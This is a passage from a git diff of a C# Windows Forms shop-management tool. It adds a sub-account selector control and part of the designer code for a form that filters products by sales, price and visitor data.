AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAA + AAGAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAA + AAAAAAABgAAAAAAAAAAAAAAAAAAAAcAAAAAAAAAAAAAAAAAAAAPAAAAAAAAAAAAAAAAAAAADwAAAAAAA + AAAAAAAAAAAAA+AAAAAAAAAAAAAAAAAAAAfgAAAAAAAAAAAAAAAAAAAH8AAAAAAAAAAAAAAAAAAAD/AA + AAAAAAAAAAAAAAAAAA/4AAAAAAAAAAAAAAAAAAAf+AAAAAAAAAAAAAAAAAAAH/wAAAAAAAAAAAAAAAAA + AD/+AAAAAAAAAAAAAAAAAAB//gAAAAAAAAAAAAAAAAAAf/8AAAAAAAAAAAAAAAAAAP//gAAAAAAAAAAA + AAAAAAH//8AAAAAAAAAAAAAAAAAD///gAAAAAAAAAAAAAAAAB///8AAAAAAAAAAAAAAAAA////wAAAAA + AAAAAAAAAAA////+AAAAAAAAAAAAAAAAf////4AAAAAAAAAAAAAAAf/////gAAAAAAAAAAAAAAf///// + +AAAAAAAAAAAAAAf//////8AAAAAAAAAAAAA/////////gAAAAAAAAAAf////w== + + + \ No newline at end of file diff --git a/TEMUKJD/KJDForms/ShopForms/UcSubAccount.Designer.cs b/TEMUKJD/KJDForms/ShopForms/UcSubAccount.Designer.cs new file mode 100644 index 0000000..9bdd8e9 --- /dev/null +++ b/TEMUKJD/KJDForms/ShopForms/UcSubAccount.Designer.cs @@ -0,0 +1,136 @@ +namespace LittleRabbit.LittleRabbitForms.ShopForms +{ + partial class UcSubAccount + { + /// + /// 必需的设计器变量。 + /// + private System.ComponentModel.IContainer components = null; + + /// + /// 清理所有正在使用的资源。 + /// + /// 如果应释放托管资源,为 true;否则为 false。 + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region 组件设计器生成的代码 + + /// + /// 设计器支持所需的方法 - 不要修改 + /// 使用代码编辑器修改此方法的内容。 + /// + private void InitializeComponent() + { + this.tableLayoutPanel1 = new System.Windows.Forms.TableLayoutPanel(); + this.lblLeft = new System.Windows.Forms.Label(); + this.lblSubAccountName = new System.Windows.Forms.Label(); + this.lblRight = new System.Windows.Forms.Label(); + this.lblSubAccountGroupName = new System.Windows.Forms.Label(); + this.tableLayoutPanel1.SuspendLayout(); + this.SuspendLayout(); + // + // tableLayoutPanel1 + // + this.tableLayoutPanel1.AutoSize = true; + this.tableLayoutPanel1.AutoSizeMode = System.Windows.Forms.AutoSizeMode.GrowAndShrink; + this.tableLayoutPanel1.ColumnCount = 4; + this.tableLayoutPanel1.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle()); + this.tableLayoutPanel1.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle()); + this.tableLayoutPanel1.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle()); + this.tableLayoutPanel1.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle()); + this.tableLayoutPanel1.Controls.Add(this.lblLeft, 0, 0); + this.tableLayoutPanel1.Controls.Add(this.lblSubAccountName, 1, 0); + this.tableLayoutPanel1.Controls.Add(this.lblRight, 3, 0); + this.tableLayoutPanel1.Controls.Add(this.lblSubAccountGroupName, 2, 0); + this.tableLayoutPanel1.Dock = System.Windows.Forms.DockStyle.Fill; + this.tableLayoutPanel1.Location = new System.Drawing.Point(0, 0); + this.tableLayoutPanel1.Margin = new System.Windows.Forms.Padding(0); + this.tableLayoutPanel1.Name = "tableLayoutPanel1"; + this.tableLayoutPanel1.Padding = new System.Windows.Forms.Padding(0, 3, 0, 3); + this.tableLayoutPanel1.RowCount = 1; + this.tableLayoutPanel1.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 100F)); + this.tableLayoutPanel1.Size = new System.Drawing.Size(95, 20); + this.tableLayoutPanel1.TabIndex = 0; + // + // lblLeft + // + this.lblLeft.AutoSize = true; + this.lblLeft.BackColor = System.Drawing.Color.DodgerBlue; + this.lblLeft.Cursor = System.Windows.Forms.Cursors.Hand; + this.lblLeft.ForeColor = System.Drawing.Color.White; + this.lblLeft.Location = new System.Drawing.Point(3, 4); + this.lblLeft.Margin = new System.Windows.Forms.Padding(3, 1, 0, 0); + this.lblLeft.Name = "lblLeft"; + this.lblLeft.Size = new System.Drawing.Size(11, 12); + this.lblLeft.TabIndex = 3; + this.lblLeft.Text = "<"; + this.lblLeft.Click += new System.EventHandler(this.lblLeft_Click); + // + // lblSubAccountName + // + this.lblSubAccountName.AutoSize = true; + this.lblSubAccountName.Location = new System.Drawing.Point(17, 4); + this.lblSubAccountName.Margin = new System.Windows.Forms.Padding(3, 1, 0, 0); + this.lblSubAccountName.Name = "lblSubAccountName"; + this.lblSubAccountName.Size = new System.Drawing.Size(29, 12); + this.lblSubAccountName.TabIndex = 1; + this.lblSubAccountName.Text = "名称"; + // + // lblRight + // + this.lblRight.AutoSize = true; + this.lblRight.BackColor = System.Drawing.Color.DodgerBlue; + this.lblRight.Cursor = System.Windows.Forms.Cursors.Hand; + this.lblRight.ForeColor = System.Drawing.Color.White; + this.lblRight.Location = new System.Drawing.Point(81, 4); + this.lblRight.Margin = new System.Windows.Forms.Padding(0, 1, 3, 0); + this.lblRight.Name = "lblRight"; + this.lblRight.Size = new System.Drawing.Size(11, 12); + this.lblRight.TabIndex = 4; + this.lblRight.Text = ">"; + this.lblRight.Click += new System.EventHandler(this.lblRight_Click); + // + // lblSubAccountGroupName + // + this.lblSubAccountGroupName.AutoSize = true; + this.lblSubAccountGroupName.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(255)))), ((int)(((byte)(128)))), ((int)(((byte)(128))))); + this.lblSubAccountGroupName.Location = new System.Drawing.Point(49, 3); + this.lblSubAccountGroupName.Name = "lblSubAccountGroupName"; + this.lblSubAccountGroupName.Padding = new System.Windows.Forms.Padding(0, 1, 0, 1); + this.lblSubAccountGroupName.Size = new System.Drawing.Size(29, 14); + this.lblSubAccountGroupName.TabIndex = 2; + this.lblSubAccountGroupName.Text = "分组"; + // + // UcSubAccount + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.AutoSize = true; + this.AutoSizeMode = System.Windows.Forms.AutoSizeMode.GrowAndShrink; + this.BackColor = System.Drawing.Color.Gainsboro; + this.Controls.Add(this.tableLayoutPanel1); + this.Name = "UcSubAccount"; + this.Size = new System.Drawing.Size(95, 20); + this.tableLayoutPanel1.ResumeLayout(false); + this.tableLayoutPanel1.PerformLayout(); + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + + private System.Windows.Forms.TableLayoutPanel tableLayoutPanel1; + private System.Windows.Forms.Label lblSubAccountName; + private System.Windows.Forms.Label lblSubAccountGroupName; + private System.Windows.Forms.Label lblLeft; + private System.Windows.Forms.Label lblRight; + } +} diff --git a/TEMUKJD/KJDForms/ShopForms/UcSubAccount.cs b/TEMUKJD/KJDForms/ShopForms/UcSubAccount.cs new file mode 100644 index 0000000..e8e7ada --- /dev/null +++ b/TEMUKJD/KJDForms/ShopForms/UcSubAccount.cs @@ -0,0 +1,72 @@ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Drawing; +using System.Data; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; +using AllBase.Model.Result; + +namespace LittleRabbit.LittleRabbitForms.ShopForms +{ + public partial class UcSubAccount : UserControl + { + public DouShopSubAccountInfo subAccount = null; + + public delegate void SubAcountDelegate(object obj); + + public event SubAcountDelegate AddSubAcountEvent; + public event SubAcountDelegate RemoveSubAcountEvent; + + public UcSubAccount(DouShopSubAccountInfo _subAccount, bool isNotShopSubAccount = true) + { + InitializeComponent(); + subAccount = _subAccount; + if (isNotShopSubAccount) + lblRight.Visible = false; + else + lblLeft.Visible = false; + + this.Load += UcSubAccount_Load; + } + + public void AddAccount() + { + this.lblLeft_Click(null, null); + } + + public void DeleteAccount() + { + this.lblRight_Click(null, null); + } + + private void UcSubAccount_Load(object sender, EventArgs e) + { + this.lblSubAccountName.Text = subAccount.name; + this.lblSubAccountGroupName.Text = subAccount.group_name; + this.lblSubAccountName.Resize += Lbl_Resize; + this.lblSubAccountGroupName.Resize += Lbl_Resize; + } + + + private void Lbl_Resize(object sender, EventArgs e) + { + } + + private void lblLeft_Click(object sender, EventArgs e) + { + this.lblRight.Visible = true; + this.lblLeft.Visible = false; + AddSubAcountEvent?.Invoke(this); + } + + private void lblRight_Click(object sender, EventArgs e) + { + this.lblRight.Visible = false; + this.lblLeft.Visible = true; + RemoveSubAcountEvent?.Invoke(this); + } + } +} diff --git a/TEMUKJD/KJDForms/ShopForms/UcSubAccount.resx b/TEMUKJD/KJDForms/ShopForms/UcSubAccount.resx new file mode 100644 index 0000000..1af7de1 --- /dev/null +++ b/TEMUKJD/KJDForms/ShopForms/UcSubAccount.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/TEMUKJD/KJDForms/ShopOptimizeForms/ClearNoVisitorForm.Designer.cs b/TEMUKJD/KJDForms/ShopOptimizeForms/ClearNoVisitorForm.Designer.cs new file mode 100644 index 0000000..3a8be5d --- /dev/null +++ b/TEMUKJD/KJDForms/ShopOptimizeForms/ClearNoVisitorForm.Designer.cs @@ -0,0 +1,1064 @@ +namespace LittleRabbit.LittleRabbitForms.ShopOptimizeForms +{ + partial class ClearNoVisitorForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.components = new System.ComponentModel.Container(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle1 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle2 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle3 = new System.Windows.Forms.DataGridViewCellStyle(); + this.splitContainer4 = new System.Windows.Forms.SplitContainer(); + this.statusBar = new LittleRabbit.UserControls.StatusBarUserControl(); + this.btnClear = new DevComponents.DotNetBar.PanelEx(); + this.splitContainer1 = new System.Windows.Forms.SplitContainer(); + this.splitContainer5 = new System.Windows.Forms.SplitContainer(); + this.ucGroupBoxEx3 = new LittleRabbit.UserComponent.UcGroupBoxEx(this.components); + this.panelEx2 = new DevComponents.DotNetBar.PanelEx(); + this.label11 = new System.Windows.Forms.Label(); + this.cmbSource = new DevComponents.DotNetBar.Controls.ComboBoxEx(); + this.comboItem1 = new DevComponents.Editors.ComboItem(); + this.comboItem2 = new DevComponents.Editors.ComboItem(); + this.comboItem3 = new DevComponents.Editors.ComboItem(); + this.label9 = new System.Windows.Forms.Label(); + this.lblProductName = new System.Windows.Forms.Label(); + this.txtProductName = new System.Windows.Forms.TextBox(); + this.txtSaleMax = new System.Windows.Forms.TextBox(); + this.txtSaleMin = new System.Windows.Forms.TextBox(); + this.label2 = new System.Windows.Forms.Label(); + this.label3 = new System.Windows.Forms.Label(); + this.txtPriceMax = new System.Windows.Forms.TextBox(); + this.txtPriceMin = new System.Windows.Forms.TextBox(); + this.label12 = new System.Windows.Forms.Label(); + this.rbOffSale = new System.Windows.Forms.RadioButton(); + this.rbOnSale = new System.Windows.Forms.RadioButton(); + this.btnStopGetProduct = new DevComponents.DotNetBar.PanelEx(); + this.btnGetProduct = new DevComponents.DotNetBar.PanelEx(); + this.label1 = new System.Windows.Forms.Label(); + this.ucGroupBoxEx2 = new LittleRabbit.UserComponent.UcGroupBoxEx(this.components); + this.txtOperateCount = new System.Windows.Forms.TextBox(); + this.label4 = new System.Windows.Forms.Label(); + this.txtUploadDays = new System.Windows.Forms.TextBox(); + this.txtClickPeople = new System.Windows.Forms.TextBox(); + this.lblClickPeople = new System.Windows.Forms.Label(); + this.txtClickTime = new System.Windows.Forms.TextBox(); + this.label10 = new System.Windows.Forms.Label(); + this.txtOrderCount = new System.Windows.Forms.TextBox(); + this.label7 = new System.Windows.Forms.Label(); + this.txtShowPeopleCount = new System.Windows.Forms.TextBox(); + this.label6 = new System.Windows.Forms.Label(); + this.txtShowCount = new System.Windows.Forms.TextBox(); + this.label5 = new System.Windows.Forms.Label(); + this.btnOffLine = new DevComponents.DotNetBar.PanelEx(); + this.btnStopOperate = new DevComponents.DotNetBar.PanelEx(); + this.chkSkipHasSale = new System.Windows.Forms.CheckBox(); + this.btnDelete = new DevComponents.DotNetBar.PanelEx(); + this.chkUploadDays = new System.Windows.Forms.CheckBox(); + this.label8 = new System.Windows.Forms.Label(); + this.ucGroupBoxEx1 = new LittleRabbit.UserComponent.UcGroupBoxEx(this.components); + this.btnRefreshShop = new LittleRabbit.UserControls.ButtonEx(); + this.splitContainer3 = new System.Windows.Forms.SplitContainer(); + this.splitContainer2 = new System.Windows.Forms.SplitContainer(); + this.dgvShop = new LittleRabbit.UserComponent.DataGridViewEx(); + this.colSelect = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.colShopId = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colShopName = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colAuthStatus = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colLoginStatus = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colCanUse = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.colMessage = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.panelEx1 = new DevComponents.DotNetBar.PanelEx(); + this.ucTabControl1 = new LittleRabbit.UserComponent.UcTabControl(); + this.tabPageCheckResult = new System.Windows.Forms.TabPage(); + this.tabPageViolateFileList = new System.Windows.Forms.TabPage(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer4)).BeginInit(); + this.splitContainer4.Panel1.SuspendLayout(); + this.splitContainer4.Panel2.SuspendLayout(); + this.splitContainer4.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).BeginInit(); + this.splitContainer1.Panel1.SuspendLayout(); + this.splitContainer1.Panel2.SuspendLayout(); + this.splitContainer1.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer5)).BeginInit(); + this.splitContainer5.Panel1.SuspendLayout(); + this.splitContainer5.Panel2.SuspendLayout(); + this.splitContainer5.SuspendLayout(); + this.ucGroupBoxEx3.SuspendLayout(); + this.ucGroupBoxEx2.SuspendLayout(); + this.ucGroupBoxEx1.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer3)).BeginInit(); + this.splitContainer3.Panel1.SuspendLayout(); + this.splitContainer3.Panel2.SuspendLayout(); + this.splitContainer3.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer2)).BeginInit(); + this.splitContainer2.Panel1.SuspendLayout(); + this.splitContainer2.Panel2.SuspendLayout(); + this.splitContainer2.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.dgvShop)).BeginInit(); + this.panelEx1.SuspendLayout(); + this.ucTabControl1.SuspendLayout(); + this.SuspendLayout(); + // + // splitContainer4 + // + this.splitContainer4.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer4.FixedPanel = System.Windows.Forms.FixedPanel.Panel2; + this.splitContainer4.Location = new System.Drawing.Point(0, 0); + this.splitContainer4.Name = "splitContainer4"; + // + // splitContainer4.Panel1 + // + this.splitContainer4.Panel1.Controls.Add(this.statusBar); + // + // splitContainer4.Panel2 + // + this.splitContainer4.Panel2.Controls.Add(this.btnClear); + this.splitContainer4.Size = new System.Drawing.Size(1350, 26); + this.splitContainer4.SplitterDistance = 1235; + this.splitContainer4.TabIndex = 3; + // + // statusBar + // + this.statusBar.BackColor = System.Drawing.Color.White; + this.statusBar.Dock = System.Windows.Forms.DockStyle.Fill; + this.statusBar.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.statusBar.Location = new System.Drawing.Point(0, 0); + this.statusBar.Margin = new System.Windows.Forms.Padding(0); + this.statusBar.Name = "statusBar"; + this.statusBar.Size = new System.Drawing.Size(1235, 26); + this.statusBar.TabIndex = 2; + // + // btnClear + // + this.btnClear.Anchor = System.Windows.Forms.AnchorStyles.Right; + this.btnClear.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnClear.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnClear.DisabledBackColor = System.Drawing.Color.Empty; + this.btnClear.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnClear.Location = new System.Drawing.Point(17, 0); + this.btnClear.Name = "btnClear"; + this.btnClear.Size = new System.Drawing.Size(90, 21); + this.btnClear.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnClear.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnClear.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnClear.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.btnClear.Style.BorderDashStyle = System.Drawing.Drawing2D.DashStyle.Dash; + this.btnClear.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.btnClear.Style.ForeColor.Color = System.Drawing.Color.White; + this.btnClear.Style.GradientAngle = 90; + this.btnClear.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnClear.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnClear.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnClear.StyleMouseOver.ForeColor.Color = System.Drawing.Color.White; + this.btnClear.TabIndex = 440; + this.btnClear.Text = "清空结果"; + this.btnClear.Click += new System.EventHandler(this.btnClear_Click); + // + // splitContainer1 + // + this.splitContainer1.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer1.FixedPanel = System.Windows.Forms.FixedPanel.Panel1; + this.splitContainer1.Location = new System.Drawing.Point(0, 0); + this.splitContainer1.Name = "splitContainer1"; + this.splitContainer1.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // splitContainer1.Panel1 + // + this.splitContainer1.Panel1.Controls.Add(this.splitContainer5); + this.splitContainer1.Panel1.Controls.Add(this.ucGroupBoxEx1); + // + // splitContainer1.Panel2 + // + this.splitContainer1.Panel2.Controls.Add(this.splitContainer3); + this.splitContainer1.Size = new System.Drawing.Size(1350, 561); + this.splitContainer1.SplitterDistance = 120; + this.splitContainer1.TabIndex = 5; + // + // splitContainer5 + // + this.splitContainer5.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.splitContainer5.Location = new System.Drawing.Point(148, 3); + this.splitContainer5.Name = "splitContainer5"; + // + // splitContainer5.Panel1 + // + this.splitContainer5.Panel1.Controls.Add(this.ucGroupBoxEx3); + // + // splitContainer5.Panel2 + // + this.splitContainer5.Panel2.Controls.Add(this.ucGroupBoxEx2); + this.splitContainer5.Size = new System.Drawing.Size(1197, 119); + this.splitContainer5.SplitterDistance = 503; + this.splitContainer5.TabIndex = 400; + // + // ucGroupBoxEx3 + // + this.ucGroupBoxEx3.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.ucGroupBoxEx3.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.ucGroupBoxEx3.BorderStyle = LittleRabbit.UserComponent.UcGroupBoxEx.GroupBoxBorderStyle.ROUND; + this.ucGroupBoxEx3.Controls.Add(this.panelEx2); + this.ucGroupBoxEx3.Controls.Add(this.label11); + this.ucGroupBoxEx3.Controls.Add(this.cmbSource); + this.ucGroupBoxEx3.Controls.Add(this.label9); + this.ucGroupBoxEx3.Controls.Add(this.lblProductName); + this.ucGroupBoxEx3.Controls.Add(this.txtProductName); + this.ucGroupBoxEx3.Controls.Add(this.txtSaleMax); + this.ucGroupBoxEx3.Controls.Add(this.txtSaleMin); + this.ucGroupBoxEx3.Controls.Add(this.label2); + this.ucGroupBoxEx3.Controls.Add(this.label3); + this.ucGroupBoxEx3.Controls.Add(this.txtPriceMax); + this.ucGroupBoxEx3.Controls.Add(this.txtPriceMin); + this.ucGroupBoxEx3.Controls.Add(this.label12); + this.ucGroupBoxEx3.Controls.Add(this.rbOffSale); + this.ucGroupBoxEx3.Controls.Add(this.rbOnSale); + this.ucGroupBoxEx3.Controls.Add(this.btnStopGetProduct); + this.ucGroupBoxEx3.Controls.Add(this.btnGetProduct); + this.ucGroupBoxEx3.Controls.Add(this.label1); + this.ucGroupBoxEx3.Location = new System.Drawing.Point(-1, -1); + this.ucGroupBoxEx3.Name = "ucGroupBoxEx3"; + this.ucGroupBoxEx3.Size = new System.Drawing.Size(506, 120); + this.ucGroupBoxEx3.TabIndex = 423; + this.ucGroupBoxEx3.TabStop = false; + this.ucGroupBoxEx3.Text = "商品查询"; + // + // panelEx2 + // + this.panelEx2.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.panelEx2.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.panelEx2.Cursor = System.Windows.Forms.Cursors.Hand; + this.panelEx2.DisabledBackColor = System.Drawing.Color.Empty; + this.panelEx2.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.panelEx2.Location = new System.Drawing.Point(299, 33); + this.panelEx2.Name = "panelEx2"; + this.panelEx2.Size = new System.Drawing.Size(80, 23); + this.panelEx2.Style.Alignment = System.Drawing.StringAlignment.Center; + this.panelEx2.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.panelEx2.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.panelEx2.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.panelEx2.Style.BorderDashStyle = System.Drawing.Drawing2D.DashStyle.Dash; + this.panelEx2.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.panelEx2.Style.ForeColor.Color = System.Drawing.Color.White; + this.panelEx2.Style.GradientAngle = 90; + this.panelEx2.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.panelEx2.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.panelEx2.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.panelEx2.TabIndex = 506; + this.panelEx2.Text = "测试"; + this.panelEx2.Visible = false; + this.panelEx2.Click += new System.EventHandler(this.panelEx2_Click); + // + // label11 + // + this.label11.AutoSize = true; + this.label11.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.label11.Location = new System.Drawing.Point(313, 89); + this.label11.Name = "label11"; + this.label11.Size = new System.Drawing.Size(188, 17); + this.label11.TabIndex = 496; + this.label11.Text = "店铺为子账号请打开电商罗盘权限"; + // + // cmbSource + // + this.cmbSource.DisplayMember = "Text"; + this.cmbSource.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed; + this.cmbSource.FormattingEnabled = true; + this.cmbSource.ItemHeight = 18; + this.cmbSource.Items.AddRange(new object[] { + this.comboItem1, + this.comboItem2, + this.comboItem3}); + this.cmbSource.Location = new System.Drawing.Point(176, 21); + this.cmbSource.Name = "cmbSource"; + this.cmbSource.Size = new System.Drawing.Size(90, 24); + this.cmbSource.Style = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.cmbSource.TabIndex = 489; + this.cmbSource.Text = "近30天"; + // + // comboItem1 + // + this.comboItem1.Text = "近30天"; + // + // comboItem2 + // + this.comboItem2.Text = "近7天"; + // + // comboItem3 + // + this.comboItem3.Text = "近1天"; + // + // label9 + // + this.label9.AutoSize = true; + this.label9.Location = new System.Drawing.Point(146, 25); + this.label9.Name = "label9"; + this.label9.Size = new System.Drawing.Size(32, 17); + this.label9.TabIndex = 488; + this.label9.Text = "获取"; + // + // lblProductName + // + this.lblProductName.AutoSize = true; + this.lblProductName.Location = new System.Drawing.Point(8, 86); + this.lblProductName.Name = "lblProductName"; + this.lblProductName.Size = new System.Drawing.Size(56, 17); + this.lblProductName.TabIndex = 481; + this.lblProductName.Text = "商品名称"; + this.lblProductName.Click += new System.EventHandler(this.lblProductName_Click); + this.lblProductName.DoubleClick += new System.EventHandler(this.lblProductName_DoubleClick); + // + // txtProductName + // + this.txtProductName.Location = new System.Drawing.Point(64, 83); + this.txtProductName.Name = "txtProductName"; + this.txtProductName.Size = new System.Drawing.Size(202, 23); + this.txtProductName.TabIndex = 480; + // + // txtSaleMax + // + this.txtSaleMax.Location = new System.Drawing.Point(217, 52); + this.txtSaleMax.Name = "txtSaleMax"; + this.txtSaleMax.Size = new System.Drawing.Size(49, 23); + this.txtSaleMax.TabIndex = 478; + this.txtSaleMax.Text = "99999"; + // + // txtSaleMin + // + this.txtSaleMin.Location = new System.Drawing.Point(177, 52); + this.txtSaleMin.Name = "txtSaleMin"; + this.txtSaleMin.Size = new System.Drawing.Size(30, 23); + this.txtSaleMin.TabIndex = 476; + this.txtSaleMin.Text = "0"; + // + // label2 + // + this.label2.AutoSize = true; + this.label2.Location = new System.Drawing.Point(146, 55); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(32, 17); + this.label2.TabIndex = 477; + this.label2.Text = "销量"; + // + // label3 + // + this.label3.AutoSize = true; + this.label3.Location = new System.Drawing.Point(206, 55); + this.label3.Name = "label3"; + this.label3.Size = new System.Drawing.Size(13, 17); + this.label3.TabIndex = 479; + this.label3.Text = "-"; + // + // txtPriceMax + // + this.txtPriceMax.Location = new System.Drawing.Point(79, 52); + this.txtPriceMax.Name = "txtPriceMax"; + this.txtPriceMax.Size = new System.Drawing.Size(49, 23); + this.txtPriceMax.TabIndex = 474; + this.txtPriceMax.Text = "99999"; + // + // txtPriceMin + // + this.txtPriceMin.Location = new System.Drawing.Point(39, 52); + this.txtPriceMin.Name = "txtPriceMin"; + this.txtPriceMin.Size = new System.Drawing.Size(30, 23); + this.txtPriceMin.TabIndex = 472; + 